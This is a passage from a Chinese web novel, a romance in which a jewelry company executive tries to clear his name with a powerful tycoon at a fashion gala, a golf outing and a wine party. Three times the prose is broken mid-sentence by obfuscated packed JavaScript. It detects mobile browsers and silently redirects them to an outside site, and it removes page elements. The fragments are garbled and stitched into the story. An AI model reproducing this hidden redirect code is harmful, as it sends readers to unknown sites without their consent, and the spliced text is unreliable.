其实这件事是谁做的沈知言心里多少有些猜测,但他需要给顾铎一个交代,进行自证。 沈知言讨厌自证,但事关AG和天御集团的关系修复,他讨厌与否并不重要。 …… 当沈知言回到秀场的时候,现场正在进行互动交流。 璀璨之夜现场邀请的除了明星艺人、国内外设计师外,还有时尚编辑和商业精英,大家分区而坐。 沈知言落座后发现自己只和顾铎隔了两个座位,而就在他看向顾铎的时候,好巧不巧,顾铎也正好偏头向他所在的位置看了过来。 猝不及防的四目相对,两人都是一愣。 沈知言微笑着点头示好,顾铎却是深深看了他一眼,之后就转过了头去。 意料之中的态度,但很让人头疼。 可是眼下他分不出多余的精力给顾铎,沈知言点开了艾米传过来的PPT,为接下来的发言打起了腹稿。 「我草(一种植物),刚才镜头一转的时候有人看到那个穿蓝色西装的人吗!」 「看到了!姐妹我懂你!」 「三秒钟,我要知道那个人的全部信息,植物植物植物!」 「报!工作人员内部消息!他是AG的设计师。」 「这个AG到底是干嘛的?连个设计师都长这样?」 「AG,全名AuroraGem,是国际知名珠宝设计公司,总部位于意大利佛罗伦萨,成立于……」 「复制百度百科的好汉收手吧。」 「一群不听介绍的渣渣,刚才主持人介绍过了,那个位置坐的人是AG的中国区总裁沈知言,只是当时位置上没人而已。」 「不是,我不理解,谁会在璀璨之夜这种秀场上听职务介绍啊?」 「天呐,是个总裁也就罢了,还长这样?」 「好熟悉的感叹,上一次发出这种感叹还是见到顾总来着。」 「嚯!你要是说起顾铎我可来精神了!我老公可太帅了!」 「靠靠靠靠!镜头太懂事了!竟然切过去了哈哈哈哈哈!前面的,你老公也在镜头里。」 「刚才我还看不懂弹幕在说什么,现在我懂了,5555……」 「话说……没有人觉得这个画面好和谐吗?」 「姐妹!我也懂你!能不能把这两张脸锁死!」 「刚才镜头扫过的时候这俩人绝对对视来着,等回放的时候我去截图!」 「别瞎拉郎了行不行,你们的顾总这么多年了没个男伴也没个女伴的,八成没那功能哟~」 「……姐妹你勇,真的不怕顾氏的律师函吗?」 「哟哟哟,什么都磕会发不了财的哟~」 「扭个头就是对视?祝你今晚落枕哟~」 「锁什么锁,Leo独美哟~」 在声势浩大且画风逐渐离谱的弹幕中,时不时夹杂着几声阴阳怪气的“哟哟哟”,只可惜势单力薄,没人理她,很快就被接下来的弹幕刷没了。 很快,到了设计师交流环节,在前四个人发言完毕后,轮到了沈知言上台。 “大家好,我是AuroraGem中国区负责人,Leo沈知言。” 话音方落,台下瞬间掌声雷动。 在现场的大多都是时尚圈的名流,不说AuroraGem在国际珠宝领域的地位,只说前段时间风靡海外的星辰系列的珠宝,就足以让他们献上掌声。 更别提对于在场的设计师而言,“沈知言”这个名字可能很陌生,但是“Leo”却是设计界天才的代名词。 据说他本来学习的是美术专业,后来毅然转型改学了珠宝设计,在22岁时获得了全球最顶尖的赛事SparklingStar的最佳新人奖,当天就被AuroraGem高薪挖走了。 比现场更疯狂的是弹幕。 本来在开场秀结束后,弹幕一度冷清了下来,但随着一个话题叫“这竟然是个总裁”的热搜一路攀升,又重新吸引了大量观众涌入,弹幕再度火爆起来。 这个热搜当然不是AG买的,他们买的热搜“AG新品织梦录”此时正苦哈哈地停在25位,不动如山。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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忽然,沈知言话锋一转,他身后的画面由刚才的星空变成了一片多彩奇幻的花海。 “我小时候,时常会做一个梦,那里有一片五彩的花朵。我曾无数次将它打破重构,想探究其中的隐秘。” 顾铎不知道是不是自己的错觉,沈知言在说这句话时,眼中有一瞬的悲伤,但他又迅速恢复如初。 “我的导师说,每一个设计师其实都是一个探索者,探索未知,探索神秘,探索心灵。我们已经用星辰系列去探索了浩瀚的宇宙,接下来,我们想探索的是隐秘的梦境。既是无数梦境的交织,也是梦中遗憾的织补,这就是将要与大家见面的‘织梦录’。” 顾铎不得不承认,在台上娓娓道来的沈知言很有魅力,哪怕这个人下药爬床行为卑劣,哪怕这个人仗脸行凶水性杨花,但只要他站在台上,你的目光就会不由自主地被他吸引。 他站在那里,就会发光。 而现在……他正戴着他的领带,站在台上,闪闪发光。 微信的疯狂震动声再次打断了顾铎的思绪,他拿起一看,果然又是徐胜宇。 对方发来了一张照片,照片中是顾铎坐在台下专注地看着台上的侧颜。下面是徐胜宇的连环追问。 徐胜宇:阿铎,你这是听进去了还是看进去了? 徐胜宇:给哥们个准话吧,你不会想和AG合作吧?我可是刚跟宝丰阁那边谈好啊。 徐胜宇:别坑哥们啊,兄dei! 徐胜宇:另外再给哥们个准话,你对这个小美人有没有兴趣?我能不能下手?别到时候伤了和气。 顾铎点开照片放大看了看,他自己都不知道自己刚才的眼神竟然这么专注。而且照片的构图很巧妙,画面中其他的人都虚化了,只剩下他和台上的沈知言。 台上的沈知言温柔款款,似乎正向他这边看来。 但顾铎知道,这只是被相机断章取义的瞬间,沈知言并没有看过他。 鬼使神差的,顾铎将图片点了保存。 “虽然今天星辰没有如期闪耀,但请大家和我一同期待‘织梦录’的华丽登场,相信它一定会给大家带来一场超乎想象的视觉盛宴。谢谢。” 台上的沈知言已经发言结束,顾铎观察得很认真,对方从递回话筒到下台再到经过自己然后落座,自始至终都没有看他一眼。 “呵。” 顾铎嗤笑一声,拿出手机,回复了徐胜宇两个字。 顾铎:随便。 4. 他俩真睡了? 璀璨之夜那晚,秦昭仔细梳理了各个边边角角的监控录像,拼凑出了他们的行动时间线。 沈知言又熬了一个通宵做了整理、标注,最后一并附上了那张身份信息卡,让人一早就送到了顾氏的天御集团。 与之一同送去的,还有今早让生活助理去买的一条和昨天一模一样的黄底宝格丽真丝印花领带。 沈知言初来乍到,在短时间内也只能做到这儿了,其他的还得等他拜访完主办方后再进行推进,但他要先把态度给顾铎亮出来。 “哎哟!Leo!我竟然在pantry抓到你了!” 沈知言开了一上午的会,讨论国内展会的选址和主题,午饭过后难得忙里偷闲,溜到了员工休息区泡了杯咖啡,刚喝一口就看到笑容满面的梁凝端着块蛋糕向他走来,还夸张地打着招呼。 不远处公关部的员工围在一圈坐着,正在朝他这边招手,明显是在进行一次小型聚会。 沈知言笑道:“嗯,你厉害,抓满七次给你召唤个神龙满足愿望。” 梁凝咯咯直笑,“我们昨晚舆论引导得怎么样?Penny他们几个都杀到通宵了,对得起你的三倍加班费吧?” 昨晚梁凝他们确实辛苦,沈知言后来看了看,除了在措辞上和对他个人的营销方面有些夸张,对新品的预热和品牌文化的输出做得甚至超乎了他的预期,热搜到今早还没掉。 沈知言向来不吝啬对别人的赞美,他十分认可地点了点头,“干得漂亮!” 可惜梁凝脸上的笑并没有维持多久,她就看到秦昭沉着一张脸向他们走了过来,一看这架势就是找沈知言有事。 于是梁凝笑着冲秦昭翻了个白眼,识趣地转身离开了。 梁凝和秦昭都是跟着沈知言从总公司回国的,也一起共事很久了,可他俩就是不对付——梁凝看不起秦昭这个臭舔狗,秦昭瞧不上梁凝这个死毒唯。 对上沈知言疑惑的眼神,秦昭叹息道:“刚接到电话,递给天御集团的合作意向书没有通过。” 沈知言愣了愣,不由叹了口气,这个拒绝的时间也太巧了。 沈知言觉得他早晨把东西给顾铎送了过去,至少能自证他没有给对方下药,以及所谓的“爬床”是遭人设计。 结果效果确实显著,东西是早上送过去的,那份已经递过去一周的合作意向书是今天下午被拒绝的。 难道得送上门去让他打两拳? 沈知言喝了一口手里的咖啡,苦得舌尖发涩。 “其实……咱们也没有必要非和天御合作,昨天的预热效果很好,咱们顺势把接下来的展会做好,应该没有问题的,而且AG在国内也新增了很多高级定制的客户。”秦昭宽慰道。 沈知言划动着手机,翻找之前递交给天御的合作意向书,“专柜业绩要下个月才知道,但只说高定客户的话,AG在国内想和宝丰阁抢人,还差得远。” 找到了那份意向书的电子版,沈知言点开迅速浏览了一遍,同时继续解释道:“况且,在没有得罪顾家的前提下,咱们的后续业务确实可以找其他的合作商。但现在我们是在有心人的算计下,得罪了顾铎。我回国的时间不长,但也知道京市各豪门世家间的利益盘根错节,顾家一旦释放了与AG不睦的信号,用不着顾铎动手,自会有人来给AG使绊子,向顾家表忠心。” 沈知言话音刚落,一道邮件的接收提声音突然响起,他顺手点开看了看,嘴角不由泛起了一抹苦笑。 他将手机递到了秦昭眼前,无奈道: “你看,得罪了顾铎,我们的珠宝连下个月的拍卖会都进不了。” 在沈知言的手机上,显示着一封点开的邮件,上面清清楚楚写着“致歉函”,发件人是天御集团。 秦昭也意识到了事情的严重性,皱眉道:“那怎么办?现在天御那边,咱们连约见都约不上。” “一项一项办。”沈知言冲秦昭笑了笑,“我下午三点约了璀璨之夜的主办方见面,这次的事情他们怎么着也得给我个说法。到时候我会把你引荐给他们,璀璨之夜的事由你来跟进。记住,不要拖得时间太长,揪出谁是谁,我要的不是处理什么人,而是‘处理’这个动作本身,懂吗?” 璀璨之夜爬床的事如果传出去的话,势必会对AG在京市的业务开展产生影响,他必须尽快结束这出闹剧,并且用这件事立威。 “懂的。”秦昭正色答道。 “好。在此之前……”沈知言一仰头,干了杯中的咖啡,“我记得和天御的合作项目是设计一组跟的,通知他们下午一点半开个短会,讨论意向书的事。” …… 璀璨之夜的主办方是风潮时尚文化传播集团,旗下有多本高端时尚杂志和相关产业链,在国内外都有一定的影响力。 沈知言曾在拉斯维加斯珠宝展中和风潮的总裁宋峰打过交道,而且在璀璨之夜上,沈知言作为受害方,不仅没有扰乱秀场,还全程体面地完成了原定的安排,给足了对方面子,因此下午的交流十分顺利。 城北,皇彬庄园高尔夫俱乐部。 沈知言穿着杰尼亚定制的深灰色高尔夫球装,领口解开了两颗扣子,戴了副Ray-Ban经典款墨镜,正在调整着姿势。 他手中的球杆高高举起,之后猛然挥杆,球裹挟着强劲的力量呼啸而去,在空中划过了一道漂亮抛物线后,稳稳地落在了远处球道中央,溅起了些许青草碎屑。 “漂亮!Leo,一年多没见了,你这球技突飞猛进啊!”宋峰笑着和沈知言并肩沿着球道漫步前行。 今天的阳光很好,微风轻轻拂过,气氛十分悠然。 宋峰知道沈知言回国的时日不多,于是一边打球一边和他说了很多京市豪门间的利益关系。 二人来到了一处果岭边,宋峰这次的球落点很差,陷入了一个浅坑里。 看出了宋峰的犹豫,沈知言笑了笑,蹲下来看了看球况,指了指球身一侧,“宋先生,试试从这边侧击,借助草坡坡度,加些旋转,能上果岭。” 宋峰本来也没想好击球策略,点了点头,就按照沈知言的建议做了调整。 一杆下去,球果真顺利跃上了果岭,缓缓朝着球洞滚去。 “哈哈哈哈!”宋峰今天的球打得格外开心,拍了拍沈知言的肩膀,“Leo,你可是帮了我大忙啊!这样吧,我也还你个人情,周六晚上我组个局,一起喝个酒,我把顾铎也叫上。” 昨天璀璨之夜上出了那档子事儿,宋峰自觉对不住沈知言。而按照顾铎的脾气,沈知言八成会在他那碰壁,于是宋峰就有心为沈知言说和一下。 沈知言哪能不明白宋峰的好意,他笑了笑,眉眼弯弯地向宋峰道了谢。 …… 宋峰说组局,那肯定不能只叫沈知言和顾铎。时尚圈有头有脸的都被他叫来了,时间就在周末,地点则是宋峰在密云的酒庄。 这处酒庄并不对外开放。到了宋峰这个地位,弄这些也不图赚钱,就为了这地方依山傍水,闲来可以和朋友小聚。 宋峰作为一个走在时尚前列的风潮老总,他自己搞的酒庄却十分古朴,用他的话说,时尚的尽头就是“天然去雕饰”。 酒窖是不起眼的青灰色砖石结构的,里面铺满了暖黄的灯光,空气中的木香与酒醇相互交融。 酒架用的是老橡木,坚硬古朴,一格格放满了法国波尔多一级酒庄的干红,不同年份的拉菲、拉图、玛歌满满登登,其中夹杂着勃艮第的香贝丹、罗曼尼康帝,还有德国伊贡穆勒酒庄的雷司令甜白。 沈知言素来好酒,看了也不禁暗暗咂舌。 宋峰是健谈的性子,很快就热了场子。 参加酒会的人中有很多传媒公司的老板,他们带来了不少自家旗下的小艺人,男男女女,几乎每个人身边都有人陪。 而为沈知言作陪的,是冯缦。 今天的酒会徐胜宇也来了,他特意带来了冯缦给沈知言陪酒,美其名曰为当日的毁约道歉。 对于冯缦这种听命行事的小艺人,沈知言根本没放在心上,但他怕对方没完没了地塞人,就留下了冯缦让她自己去玩儿。 …… “沈总,过几天有个游艇派对,要不要一起来啊?” “你想认识谁,跟我说,我一并叫来!” “不想去也没事儿,我最近弄了辆兰博基尼AventadorSVJ的改装车,要不要一起去兜个风,体验一下速度与激情?” 像冯缦这种小艺人,沈知言能轻易打发了,但对于徐胜宇这种有大病的,沈知言是真的没辙。 酒会上,徐胜宇一看到沈知言,就开启了自动跟随模式,恨不得把整个人都贴到沈知言身上,走哪儿跟哪儿。 而他偏偏又是顾铎的人,在和顾铎修复关系之前,沈知言不好得罪他,心里着实烦得不行。 “不去,也不需要。多谢徐少盛情,徐少的改装车很酷炫,我已经见过了,以后也请徐少不要再把它停在AG的办公大楼下面,也不要弄那么多玫瑰花妨碍员工办公。” 沈知言自认为已经把话说得很直白了,可徐胜宇却跟听不懂人话似的。 “你不喜欢玫瑰?那你喜欢什么?我下次换。” 沈知言:…… “干嘛呢小宇!蹭你哥哥的酒喝,也不来跟你哥我打个招呼,你小子真是越来越不像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499347|170268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话了!” 徐胜宇还在那自顾自地报花名呢,只觉得脖子一紧,就被人拎着领子拽开了。 他恼怒地回头一看,就见到了宋峰那张皮笑肉不笑的阎王脸。 徐胜宇吓得一激灵,他敢缠着沈知言,却不敢得罪宋峰,于是忙咧着嘴向对方打了个招呼,“峰哥!” 宋峰没好气地翻了个白眼,向沈知言歉意地笑了笑,就拎着徐胜宇去一旁谈事情了,这才把沈知言解救了出来。 宋峰也很郁闷。 今晚他需要招待的人很多,一时间没能顾得上沈知言。 还是顾铎提醒他小心徐胜宇瞎捣乱,他这才注意到,妈的那小霸王把人家沈知言黏得都快走不动道了! 他今天组局是为了让沈知言和顾铎解除误会的,结果徐胜宇这个没眼力见的混账东西却在中间给他添乱! …… 没有徐胜宇的打扰,沈知言在这种场合简直是如鱼得水。 他十分擅长聊天,情绪稳定且阅历丰富,话题不管是向上还是向下都能兼容,因此和谁都能聊上几句。 沈知言并没有一上来就去找顾铎。 顾铎到场后,身边就没断过上前攀谈的人,而且他自始至终都没有将一丝目光给到沈知言。 这种情况下,沈知言自然不好贸然上前打扰,以免扫了他的兴致、落了宋峰的面子。 因此沈知言只是在逐一敬酒时,按礼节和顾铎搭上了话。 用余光瞥见了沈知言正端着酒杯向他走来,顾铎适时地出声打断了眼前这位数字营销公司的陈总。 陈总正在眉飞色舞地侃侃而谈,猝然被顾铎打断,他也不敢恼,只是十分不解。但当他看到向他们走过来的沈知言时,眼珠转了转,瞬间了然。 璀璨之夜那天的事经过有心人的传播,如今圈子里很多人都知道了。好事者并不在意一个沈知言的死活,他们就是想知道,沈知言到底和顾铎睡了没有。 毕竟爬顾铎床这件事,这么多年来,很多人都想做,但没有一个人成功过。 说起来,顾铎是他那一辈儿的家中幺子,辈分大,但论起年龄来,比他的两个侄子也大不了多少。 他如今三十多了,身为顾家掌权人,不仅没有成婚,甚至连个绯闻对象都没有,长此以往,今后的顾氏继承人怕是只能在他的两个侄辈中筛选了。 因此,盯着顾铎床榻的人并不少。 这事说来也奇怪,顾铎结不结婚这种事,顾铎不急,他母亲不急,倒是一干外人每天眼巴巴地等着顾氏的大权会不会从长房旁落。 沈知言向陈总点点头,之后就笑着将手中的酒杯递向了顾铎,“顾总,又见面了。” 陈总有心想留下来听听八卦,但被顾铎用凉飕飕的眼神一扫,他的后背不由一僵,连忙打了个哈哈,向二人告辞后就离开了。 顾铎并没有驳沈知言的面子,他伸手接过对方递过来的红酒,喝了一口。 但他说出的话却格外刺耳,“沈总好手段,竟然连宋峰都攀上了。” 有时候偏见是很可怕的。 其实那天沈知言送到天御的证据已经足够自证他没有下药和爬床了,但是顾铎在最开始就将沈知言和这样的品性划上了等号。再加上刚才顾铎又看到沈知言像个花蝴蝶一样在人群中穿梭、交际,便越发笃定,这人顶着这么一张脸,想必一路爬到如今这个位置,没少做这种勾当。 沈知言只当没有听出顾铎话中的恶意,他好脾气地试探道:“顾总有没有看到我送到天御的材料?不知有何指教?” 材料既可以指意向书,也可以指他送过去的证据。 沈知言无法通过顾铎的神态判断他是否愿意谈璀璨之夜的事,担心弄巧成拙,索性将选择权交给顾铎,他愿意回哪个就回哪个。 沈知言的心思,顾铎了然,他直接开门见山道:“意向书很不错,AG诚意很大,让利很多,只可惜天御目前还不想涉足珠宝领域。至于其他的……” 顾铎顿了顿,目光扫了一圈周围,勾了勾唇,声音稍稍大了些,“虽然那晚的领带被沈总戴走了,但沈总送来的我收到了,今天也戴了过来,沈总品味很不错。” 说完,顾铎向后靠了靠,胸前的那条黄底宝格丽真丝印花领带格外扎眼。 沈知言:…… 顾铎的声音不小,落到了周围众人的耳中,像是炸了一道天雷。 全场诡异的静了一瞬,旋即又恢复了假忙。 众人纷纷神色如常地围着顾铎和沈知言,绕着圈地聊天,暗戳戳地交换着心照不宣的眼神。 我艹!这是真睡了?都送上领带了,顾铎还戴上了? 5. 他的自证毫无意义 与众人吃瓜兴奋的心情相反,沈知言此时心中怒意骤起。 顾铎说这种暧昧的暗示性明显的话,不是分明在引导大家,自己就是爬床了吗?很多时候,真相本来就不如花边新闻传播得广泛持久,他还要将这种谣言坐实? 好在从小修炼出的假面焊死在了脸上,纵使沈知言的心中情绪翻涌,他的表情也没有因为顾铎的话而产生丝毫波动。 沈知言不解地温声问道:“我不明白,那天的误会既然已经解除了,顾总为什么还对我抱有这么大的恶意?” “解除?”顾铎笑了笑,喝了口酒,“那天或许不是沈总下的药,但沈总可是切切实实地出现在了我的床上,还结结实实的给了我两拳。” 顾铎的前半句话是在耍无赖,沈知言直接略过了,跳到了可以解决的后半句,“顾总想出气的话,也可以打回来,成倍都行。” 顾铎上下打量了一下沈知言,就这小身板,怕是一拳就得打出个好歹,到时候他就有理由碰瓷了。 沈知言待人一向温顺守礼,但顾铎是什么人?多年商海沉浮,阅人无数。只一眼,他就看出了沈知言的温和只是表象。至于性格底色究竟如何,他暂时还看不清,但是他就是知道,像讹人碰瓷这种事,只要有利可图,他沈知言是干得出来的。 “沈总,这是聊什么呢?怎么还打打杀杀的?”顾铎刚要开口,却被一道女声打断了二人之间的谈话,是冯缦。 冯缦在璀璨之夜那天得罪了沈知言,她本以为无论如何自己在时尚圈的口碑都会受到损伤,至少黑通稿是少不了的,况且这事本来也是她违约在先。 可是并没有——对方神仙打架,并没有拿她这个小角色开刀。 这让她除了感到庆幸之外,心中还产生了一丝愧疚。 而今天她被老板带来酒会赔罪,本来也十分忐忑,只是没想到对方竟然丝毫没有难为自己。这不禁又让冯缦心中生出了一丝感激。 所以刚才在听到沈知言和顾铎说什么打啊出气啊,她担心沈知言吃亏,于是嘴比脑子快,竟然不怕死地出声问了句。 此话一出,还不等沈知言说什么,在旁边竖着耳朵听了半天的徐胜宇先忍不住了,他皮笑肉不笑地看着冯缦,“哎呦?我们缦缦这么关心沈总,你什么时候这么热情了?” 冯缦其实在说完之后就后悔了。勇气往往都是一鼓作气,再而衰,三而竭,冯缦的一腔孤勇只支撑着她说完了一句话。 看到冯缦吓得白了脸,徐胜宇显然不想放过她。 他双指夹着烟冲冯缦点了点,“这样,场子有点冷了,既然缦缦你这么热情,不如给大家表演个节目吧?” 徐胜宇此话一出口,冯缦便怔住了。 这很侮辱人。 在场众人确实非富即贵,可冯缦也不是寂寂无名的小演员,如今却被他的老板要求在这样的场合下供人取乐。 但徐胜宇并不给她拒绝的机会,咄咄逼人道:“我记得你上次在晚会上不是跳了段舞?来,就那段,给大家伙展示展示。” 纵然画了全妆,此时也无法遮掩住冯缦微微泛红的双颊。 对于徐胜宇的话,她根本无法拒绝。天价违约金是她无法负担的,而徐胜宇如果想封杀她的话,也不过是一句话的事。 人在现实面前往往不得不低头。 很多时候就是这样,要想向上爬,就得把面子、里子扔到地上垫在脚下。但即便如此,可能也仅仅只够得着人家的膝盖。 “尊严值几个钱呢?冯缦,千万别犯傻。”冯缦悄声给自己打着气,她笑得很得体,却在无人看到的地方,用手紧紧地握住了衣摆的一角。 眨了眨眼睛,她平复了上涌的情绪,勉强维持着脸上的笑意点了点头,“好啊,可能有些生疏了,大家不要见怪。” 说罢,她便扬了扬头,在徐胜宇的逼视下,笑容明媚地抬步便要过去。 可就在这时,她忽然感到肩膀一沉。 冯缦诧异地回过头来,就见沈知言脸上挂着温和地笑容,拍了拍她的肩膀。 “挺贵的。” 沈知言将手轻轻按在冯缦的肩头,笑着转向徐胜宇,“我说徐少,这就是你的不对了吧?你让缦缦来陪我,现在又让她跳舞,怎么,我得罪徐少了?” 沈知言一句“缦缦”把徐胜宇砸傻了。 就陪了会儿酒的功夫,这称呼怎么就一下子从“冯缦”变成了“缦缦”? 他现在有点搞不清楚状况,就怕自己忙活了一通,再给别人做了嫁衣,平白便宜了自家那个姓冯的小明星。 沈知言没有管脸色青一阵白一阵的徐胜宇,直接拉着冯缦与顾铎擦肩而过。 在经过顾铎时,沈知言忽然顿住了脚步,转头看了过去,正好迎上了对方的目光,二人对视了一会儿。 顾铎有些不明所以:眼睛很漂亮,黑白分明,清澈干净,然后呢? 他还在等沈知言的下文,却见沈知言忽然对他笑了一下,什么也没说,便抬脚离开了。 顾铎表面上波澜不惊,心底却被沈知言笑懵了——自己刚刚羞辱了他,他为什么要对自己笑。 “冯缦,有了沈总撑腰,忘了自己姓什么了?” 见冯缦被沈知言揽着腰,徐胜宇气笑了。他面色不善地看着冯缦,暗骂:自己他妈的倒贴着追人,结果给别人牵了红线? 沈知言揽着冯缦走到了场地中间,无奈地冲徐胜宇笑了笑,“徐少,你想看歌舞就去看春晚嘛,今天是宋先生的酒会,你就不想看点别的?” 徐胜宇一时没明白沈知言的意思,只是疑惑地挑了挑眉。 “徐少想不想看魔术?沈知言的街头魔术。” 沈知言笑得很大方,但着实把徐胜宇惊了一下。 在AG要进军国内市场后,他是想过要落一下沈知言的面子的,但那时他还没见过沈知言这个人。 徐胜宇这人最爱美人,不然那天也不会在沈知言坑了他那么一大笔违约金后,半点动作没有,还上前死乞白赖地套近乎。 对待美人,他向来能屈能伸。 因此,见沈知言竟然要给大家表演,他急忙想上前阻止——那可是AG中国区总裁,那可是沈知言,怎么能给他们表演节目,给众人取乐? 比他更急的是冯缦。 冯缦有些着急地开口劝道:“沈总,你不必如此,我……我表演就行,没事的。” 沈知言打量了一下冯缦,点了点头,“你是得表演。” 说罢,没等冯缦回过神来,沈知言就牵着她的手,高高举起,“那就由冯缦小姐做我的表演助手,好吗?” “好!”率先叫好的是宋峰。 宋峰知道沈知言做事向来有分寸,他今天演这么一出总归有他的道理,于是十分捧场地鼓起了掌,并在沈知言看向他时嘴角一咧,爽朗地笑了笑。 有了宋峰的打头,众人又见沈知言举止大方,没有丝毫的扭捏,便也纷纷好奇这位沈总的街头魔术,相继跟着叫起了好来。 气氛烘托到位了,沈知言不疾不徐地从口袋里拿出了一枚硬币。 其实沈知言表演的就是寻常的街头魔术,一枚硬币,在手法的遮掩下悄无声息地改变位置,让围观的众人猜测硬币会出现在哪里。 上一刻这枚硬币还在沈知言的手里,下一刻就可能出现在别的地方,比如衬衫的衣领中、头发里、耳朵后面、对方的口袋中,其实就是用手速制造的障眼法。 这是沈知言当年在佛罗伦萨讨生活时学到的小伎俩。 魔术很简单,但是沈知言的语言很风趣,再加上冯缦十分机灵地在一旁搭腔,在一来二去的互动中,酒会上已经是一片欢笑。 最后,沈知言将握着硬币的手伸到了徐胜宇身前,笑吟吟地说道:“徐少,吹口气。” 徐胜宇正一脸兴致盎然地看着沈知言的魔术,见轮到自己了,忙摩拳擦掌地冲着沈知言的手吹了一口气,之后,沈知言就将空空如也的手掌在徐胜宇面前晃了晃。 “下面,徐少猜一猜硬币去了哪里吧?” 徐胜宇先是在自己身上摸了一圈,确认没有后,便笑着向沈知言身前凑了凑,“猜不到,能搜身吗?” 徐胜宇本来就是想口嗨一下过过嘴瘾,没想到沈知言却认真地点了点头,“可以啊,徐少要搜吗?” 徐胜宇瞬间大脑宕机,指了指自己,不确信道:“我……可以吗?” 沈知言点头道:“当然。” 言罢,沈知言环视四周,毫不意外地对上了顾铎深沉如墨的眸子,看不出其中的情绪。 顾铎此时的脸上仍然挂着笑意,但眼神却充满了审视与压迫。 沈知言迎着顾铎饱含侵略性的眼神,笑了笑,“下面,徐少去顾总的身上搜一搜吧。” 话音一落,众人都怔愣了一下,那些起哄让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他是在很多事情上脑回路奇葩,但璀璨之夜那天误导沈知言错认房间的事他参与了,所以沈知言这么一说,他就心虚地自动对号入了座。 顾铎把玩着手中的硬币,目光灼灼地看着沈知言,看着他意气风发地变魔术,看着他掷地有声地诈徐胜宇,面容那么温柔,眼神中却隐隐流露出了一丝自负与笃定。 顾铎知道,他做这一切都是为了给自己看。 平心而论,顾铎不想让这么一个神采飞扬的人失望,但他终归要失望——因为沈知言费尽心机想证明的这些东西,根本就没用! 顾铎早在璀璨之夜第二天就知道了真相。他一直都知道沈知言的冤枉,也知道偷梁换柱的人是谁,甚至还知道是谁对他下了药。 他只是没和沈知言明说罢了。 沈知言做这些是为了和天御集团合作,但是在徐胜宇和宝丰阁达成合作的那一刻,天御就没有了站队AG的可能。他怎么会为了区区一个沈知言,去和自己的发小打擂台? 这几天他冷眼旁观沈知言上蹿下跳地查找真相,他也没想过告诉对方。毕竟,他和沈知言只是有过一面之缘的陌生人,日后也不会再有什么交集。 可是,刚刚看到对方这么努力地向他自证时,顾铎又有些于心不忍了。那双眼睛太漂亮了,很可惜,下一刻,它就要流露出失望的神色了。 顾铎敛了敛深沉的眸光,意味深长地看了看沈知言,笑道:“雕虫小技,贻笑大方。” 果然,闻言,沈知言的脸白了一瞬。 顾铎当着满座宾客的面进行这样的评价,已经很不给沈知言面子了。 但沈知言没有撂脸,而是稳住了那一瞬间失望的情绪,笑道:“献丑了。” 说罢,沈知言脸上挂着招牌笑容,体面地鞠躬致意,结束了表演。 只是转身间,身影有些落寞。 顾铎的心动了一动,忽然觉得自己刚才说的话有点过于不留情面。 …… 其实顾铎想多了,沈知言在得到顾铎的答案后确实失望了一下,不过旋即他就想开了。 他想,自己也是蠢了,徐胜宇是顾铎的发小,就算他真的做了什么,顾铎怎么会帮理不帮亲?毕竟自己和顾铎又没什么交情。 就是交情! 沈知言忽然回过味儿来了,真相重要吗?对他来说重要,但对顾铎来说不重要。 徐胜宇能被顾铎维护,是因为他是顾铎过了命的发小。那AG要想和天御达成合作,自己和顾铎攀上交情不就行了? 思及此,沈知言豁然开朗,脚下的步伐都不由轻快了许多。 6. 他就这么被赶下了车?! 酒会散场时已经凌晨一点多了。 沈知言刚回国不久,还没有考国内的驾照,他的性子又不愿意请司机,因此平日里都是由秦昭接送。 今天来酒庄也是秦昭送的,但现在时间已经太晚了,又是周末,沈知言实在不想再折腾他,于是就想等等正在跟人说话的宋峰,让对方派车送自己一趟。 沈知言正在门口等宋峰时,之前在酒会上同顾铎攀谈的那个陈总忽然走了过来。 “沈总的司机还没到?” 沈知言见到来人,礼貌地点头致意,“我在等宋先生派车送我回去。” 闻言,陈总忙笑道:“嗐,等什么宋峰啊!走!我送沈总回去!” 他一边说着,一边试图搂上沈知言的腰,却被沈知言不动声色地避开了。 “陈总您忙,不用管我。” 陈总刚要再说些什么,就听到一阵汽车鸣笛声从不远处传来。 一辆宾利慕尚不知道在那里停了多久了。 沈知言循声望去,就见那辆宾利的后座车窗缓缓降了下来。 顾铎坐在里面,他看着沈知言,声音深沉,“上车。” 陈总的眼睛飞快地在二人之间瞟来瞟去,心中暗自懊悔自己似乎做了一件蠢事。 他看到在酒会上顾铎落了沈知言的面子,以为二人这是闹掰了,这才有了刚才那么一出。 来不及多想,陈总忙讪讪地向顾铎欠了欠身,之后便识趣地给沈知言让了路。 沈知言倒是很乐意蹭个车,还能顺便和顾铎攀交情。于是他笑了笑,道了声谢后便打开了后车座的门,坐了上去。 车辆重新启动。 沈知言上车后,组织了一下语言,便目光灼灼地看向顾铎,正准备开口说些什么。 可话还没出口,便被顾铎冷声打断了,“沈总要是谈工作的话,就下车吧。” 沈知言的话一下子被噎了回去。 其实也不是非要聊工作,他什么都能聊。只是看顾铎现在的反应,应该是因为他在酒会上公然暗讽了徐胜宇,触了对方的霉头。 真护短啊。 不过沈知言多少可以理解,他也是一样的。 沈知言消停了一会儿,一路上车内无言。 他想看看顾铎现在是什么表情,状态适不适合聊天,于是便悄悄地微微侧头,看向了顾铎。 一看之下,正好对上了黑暗中那双漆黑幽深的双眸! ……吓了沈知言一跳。 “停车!” 随着一阵刹车声响起,沈知言在一片茫然中被赶下了车。 